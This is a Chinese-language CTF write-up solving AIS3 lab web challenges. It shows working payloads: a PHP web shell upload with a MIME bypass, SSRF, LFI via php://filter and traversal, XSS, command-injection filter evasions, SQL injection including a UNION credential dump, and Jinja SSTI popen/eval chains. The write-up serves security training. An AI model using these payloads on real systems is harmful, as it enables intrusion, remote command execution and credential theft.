bac01 === >用戶名先隨便打,網址會出現 http://ctfd-ais3.crazyfirelee.tw:9001/user 把它改成(有user就有admin,試試admin) http://ctfd-ais3.crazyfirelee.tw:9001/admin 結果: ![image](https://hackmd.io/_uploads/Bk5n8AR5A.png) bac02 === >這題要看規律: 可選的產品網址分別為: http://ctfd-ais3.crazyfirelee.tw:9002/product/1 http://ctfd-ais3.crazyfirelee.tw:9002/product/2 http://ctfd-ais3.crazyfirelee.tw:9002/product/3 http://ctfd-ais3.crazyfirelee.tw:9002/product/5 由此可推論有隱藏連結: http://ctfd-ais3.crazyfirelee.tw:9002/product/4 結果: ![image](https://hackmd.io/_uploads/BkUOwAA9C.png) SRF01 === >輸入```file:///app/FLAG```->點開原始碼->找到base64加密的字串->到base64解密 >結果: >![image](https://hackmd.io/_uploads/r1InPCAqC.png) SRF02 === >輸入範例網址->輸入 ```http://127.0.0.1/local``` -> ![image](https://hackmd.io/_uploads/HyNt5g0q0.png) 把base64後面的加密文字拿去base64進行解密即可拿到flag 結果: ![image](https://hackmd.io/_uploads/r1-QdCR50.png) FIL01 === >上傳檔案(檔案內容:```<?php system($_GET['cmd']);?>```)->點選UPLOAD to SERVER->拿到的網址複製並加上```?cmd=```執行linux指令->```ls ../```->```cat ../FLAG``` >結果: >![image](https://hackmd.io/_uploads/S1SBO0R5R.png) FIL02(這題我使用linux解題) === >檔名改jpg.php >開啟linux的Burp Suite並把網址貼上 >![image](https://hackmd.io/_uploads/S1GtZvAcC.png) >為了讓系統誤判,把上圖紅色部分更改為```image/jpg``` >forward之後就會拿到成功的網址,如下圖: >![image](https://hackmd.io/_uploads/rkUQzwA5C.png) >成功後與剛剛步驟相同 尋找FLAG檔案於何處(用cd和ls -la),即可找到flag >結果: >![image](https://hackmd.io/_uploads/HkyddCRcR.png) LFI01 === >把圖片後方連結改為```php://filter/read=convert.base64-encode/resource=index.php``` >這樣網址會變成```http://ctfd-ais3.crazyfirelee.tw:9021/include.php?GetType=file_get_contents&file=php://filter/read=convert.base64-encode/resource=index.php``` >把內容拿去base64解碼會看到下圖,找到admin即可看到password >![image](https://hackmd.io/_uploads/SJwenfC9A.png) >username=admin,password=CATLOVEBITCOINMEOWMEOW >結果: >![image](https://hackmd.io/_uploads/S1gJ5dAAcA.png) LFI02 === >要有php檔,檔案內容為```<?php system($_GET['cmd']);?>```,會出現下圖 >![image](https://hackmd.io/_uploads/HyCqED0cA.png) >網址貼上```http://ctfd-ais3.crazyfirelee.tw:9022/post.php?form=../../../../../tmp/a764c_108.160.138.201.php``` >其中../是為了回到根目錄 >最後用ls和cat查找flag >結果: >![image](https://hackmd.io/_uploads/Hypn_005C.png) XSS01 === >輸入```<script>alert(FLAG)</script>```,會顯示以下畫面: >![image](https://hackmd.io/_uploads/rJrU7PC9C.png) 結果: ![image](https://hackmd.io/_uploads/B1-kYCCcA.png) CMD01 === >先輸入```;ls -a```(略過前面直接顯示) >會看到FLAG->```;cat FLAG```即可顯示 >![image](https://hackmd.io/_uploads/SyHZKR05R.png) CMD02 === >先輸入```;echo ```(因為ls被限制住了) >發現有flag,但是cat被限制住了,所以要改輸入```ca\t FLAG```即可得到FLAG' >結果 >![image](https://hackmd.io/_uploads/HkqfF0C5A.png) CMD03 === >由於之前指令都被禁掉,所以網上查到還可使用```|cat${IFS}FLAG*```即可得到FLAG >結果: >![image](https://hackmd.io/_uploads/r1bIY0050.png) CMD06 === ```a|grep${IFS}-r${IFS}AIS3``` 結果: ![image](https://hackmd.io/_uploads/HyvhKRRc0.png) SQL01 === 密碼:由於1=1必為true 所以密碼可輸入'OR'1'='1繞過 ![image](https://hackmd.io/_uploads/By2J9ACq0.png) SQL02 === 進入之後,輸入 ```char' UNION SELECT id,username,password,isAdmin from ApexPredators.users#``` "char"可以是任意字串 這段代碼可以找出id、用戶名、密碼、權限 ![螢幕擷取畫面 2024-08-17 163759](https://hackmd.io/_uploads/B1ymLRAcR.png) 會有很多個用戶,而其中一個用戶權限最高,在這裡指的就是 ```KubenBlisk_ BliskLeader#2024``` 所以用戶名=KubenBlisk 密碼=BliskLeader#2024 結果: ![image](https://hackmd.io/_uploads/H1UXcCA5A.png) STI01 === >輸入```{{"".__class__.__bases__[0]. __subclasses__()}}``` >class尋找字串 base尋找字串上層object subclasses尋找object中所有東西 會出現下圖 >![image](https://hackmd.io/_uploads/rkj0hB0q0.png) >因此要初始化object 尋找popen (初始化指令init) >所以最後指令為```{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat >FLAG').read()}}``` >結果如下圖: >![image](https://hackmd.io/_uploads/HyGXhS0cA.png) STI02 === >輸入>```{{"".__class__.__base__.__subclasses__().__getitem__(410).__init__.__globals__.__getitem__('__built>ins__').__getitem__('eval')('__import__("os").popen("cat FLAG").read()')}}``` >即可拿到flag >結果: >![image](https://hackmd.io/_uploads/Hym_9AC5A.png)